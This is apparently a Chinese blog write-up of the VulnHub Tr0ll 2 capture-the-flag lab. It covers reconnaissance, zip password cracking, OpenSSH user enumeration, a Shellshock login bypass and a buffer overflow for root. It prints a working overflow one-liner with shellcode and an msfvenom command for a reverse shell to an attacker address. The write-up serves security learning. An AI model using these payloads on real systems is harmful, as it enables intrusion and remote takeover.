VulnHub-TR0LL: 2-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
靶机难度:中级(CTF)
靶机描述:Tr0ll系列VM中的下一台计算机,这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且毫无疑问,巨魔仍然存在!
难度是从初学者到中级。
目标:得到root权限&找到proof.txt
作者:嗯嗯呐

信息收集

nmap确定靶机地址
在这里插入图片描述

nmap扫描靶机端口
在这里插入图片描述

扫描出三个端口
21 FTP
22 ssh
80 http
访问80端口没有获得什么信息
在这里插入图片描述

使用dirb爆破一下目录
在这里插入图片描述

找到robosts,将文件中的目录加入dirb字典,在扫描一遍
在这里插入图片描述
在这里插入图片描述

再次使用dirb爆破
在这里插入图片描述

发现了新的可以访问的界面
访问发现全部是一个图片
在这里插入图片描述

之后就没有思路了,open 5.9也没有什么漏洞,
只能把获得图片全部读取一下,在dont_bother目录的图片中获得提示
在这里插入图片描述

y0ur_self应该是个目录,可以访问
在这里插入图片描述

打开发现很多base64编码
在这里插入图片描述

根据文件名提示应该是密码,下载先解码看看
在这里插入图片描述

目前靶机可以登录只有SSH和FTP
分布尝试访问一下
登陆ftp获得Tr0ll用户提示
密码也使用用户名试一下
在这里插入图片描述

看到ftp下有个lmao.zip文件,下载下来,打开看看
在这里插入图片描述

fcrackzip爆破

解压需要密码,使用fcrackzip进行暴力破解一下
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件

 fcrackzip -u -D -p 1.txt lmao.zip 

在这里插入图片描述

获得zip的密码,真的很快
解压zip文件,获得一个noob文件,是一个key
在这里插入图片描述
在这里插入图片描述

OpenSSH用户枚举漏洞

使用靶机存在的ssh用户枚举漏洞,查一下有没有noob用户
在这里插入图片描述

noob用户存在
在这里插入图片描述

使用key文件登陆noob用户
在这里插入图片描述

shellshock攻击

登陆失败,之后试了其他用户,都是不行,只能看看其他人怎么做的了,这里我登陆报错和其他人的不太一样,试了半天也不行,反正也是明白这里的思路了,就不计较了。
这里是利用Shellshock漏洞
在这里插入图片描述

进程误把普通环境变量() { :; }当做函数环境变量处理。
想具体了解漏洞原理,请自行百度
我们在这里构造一个shell命令试试

ssh  noob@192.168.16.141 -i noob -t '() { :;}; /bin/bash'

-t 远程登录服务器后执行某个脚本
操作系统误当() { :;}; 为函数环境变量
在这里插入图片描述

查看环境变量,看到执行结果了
在这里插入图片描述

缓冲区溢出提权

漏洞提权试了半天都是失败,应该是打了补丁,查一下具有SID权限的程序,看看可不可以通过缓冲区溢出提权

find / -perm -4000 2> /dev/unll

查询具有SID权限的文件,将错误输出到/dev/unll
在这里插入图片描述

这三个文件夹里的内容分别执行,发现第一个是一句输出,第二个是重启,第三个是输入靶机,那我们去door3目录下的r00t文件看看去,gdb调试r00t程序
在这里插入图片描述

竟然有重启,以后不能乱执行程序了,我们可以先用gdb看一下main函数
在这里插入图片描述

使用了strcpy()函数,我们这里可以使用函数存在的漏洞
在这里插入图片描述

使用msf自带的插件生成1024个字符

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1024

在这里插入图片描述

在gdb中执行r00t,获得异常的,我们可以看到缓冲区溢出在0x6a413969这个位置
在这里插入图片描述

使用msf中的pattern_offset.rb反查6a413969对应上面1024字符中的那个位置
在这里插入图片描述

对应着第268个字符
我们就冲这个字符开始,将我们想执行的命令放到这位置,就完成了缓冲区溢出的利用了
开始我们的操作

i r esp #查询esp就是栈顶指针的位置

在这里插入图片描述

  • esp:寄存器存放当前线程的栈顶指针。
  • ebp:寄存器存放当前线程的栈底指针。
  • eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

我们也可以通着下面方式验证,溢出的内容覆盖了返回地址和esp。
因为我们前面查到268个字符之后溢出,我们生成268个字符
在这里插入图片描述

之后在生成的字符后添加8个字符‘CCCCDDDD’,执行以后看一下缓冲区溢出的或esp的内容
在这里插入图片描述
查看ESP内容
在这里插入图片描述我们看到DDDD把esp覆盖,而CCCC是覆盖了返回地址。
因此我们可以的出结论,我们需要构造268个字符,将esp位置放在268个字符之后,这样esp位置就存在了返回地址的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。
268字符+esp+shellcodo

./r00t $(python -c 'print "c"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\xb8\x5d\x7d\xc3\x23\xda\xc3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x0e\x03\x1e\x73\x21\xd6\x91\x50\x52\xfa\x82\x25\xce\x97\x26\x23\x11\xd7\x40\xfe\x52\x8b\xd5\xb0\x6c\x61\x65\xf9\xeb\x80\x0d\x3a\xa3\x63\x4c\xd2\xb6\x83\x54\x29\x3e\x62\xd8\x4b\x10\x34\x4b\x27\x93\x3f\x8a\x8a\x14\x6d\x24\x7b\x3a\xe1\xdc\xeb\x6b\x2a\x7e\x85\xfa\xd7\x2c\x06\x74\xf6\x60\xa3\x4b\x79"')

在这里插入图片描述
在这里插入图片描述

shellcode是通过msfvenom制作的一个反弹shell

msfvenom -p linux/x86/shell/reverse_tcp LHOSTS=192.168.16.129 LPORT=6666 -b "\x00\x0a\x0" -f python

在这里插入图片描述

在root目录下获得flag
在这里插入图片描述

完成!!!

总结

缓冲区溢出的问题我纠结了好了几天总算明白一点了,感觉进度太慢了,不过收获很大,很高兴。本章主要两个大的知识点Shellshock和缓冲区溢出,上面只是一种思路,仅供参考。本章渗透思路如下图;

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值